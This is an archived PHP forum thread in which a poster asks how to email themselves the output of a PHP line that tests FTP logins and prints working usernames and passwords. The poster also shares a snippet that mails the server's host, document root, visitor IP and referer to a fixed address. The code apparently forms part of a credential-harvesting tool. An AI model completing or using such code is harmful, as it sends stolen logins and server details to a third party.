Jump to content

How to send email?


jully6969@yahoo.com

Recommended Posts

the problem is this :
i wanna send the results from a php line to my e-mail

[b]@$res=ftp_login($ftp,$login,$pass);
        if ($res) {
        [color=red]echo 'try this ->  user:'.$login.' password:'.$pass."  none\n"[/color];[/b] <-[b]this is the line[/b]
how to send the final result of the last line in mail ? sombody helpme ? please.. and tnx .. srry for my bad english
Link to comment
https://forums.phpfreaks.com/topic/35492-how-to-send-email/
Share on other sites

[quote author=thorpe link=topic=123800.msg512136#msg512136 date=1169631888]
Have a look at the [url=http://php.net/mail]mail[/url] function.
[/quote]

i have a mail sender
[code]$to="[email protected]";
$subject = "info";
$info .= "HOST:\t$HTTP_HOST\n";
$info .= "DOC_ROOT:\t$PATH_TRANSLATED\n";
$info .= "IP:\t$REMOTE_ADDR\n";
$info .= "URL:\t$HTTP_REFERER\n";
$from = "[email protected]";
mail ("$to","$subject","$info","$from");[/code]

but i dont know how to insert that line in the mail sender
Link to comment
https://forums.phpfreaks.com/topic/35492-how-to-send-email/#findComment-167925
Share on other sites

Archived

This topic is now archived and is closed to further replies.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.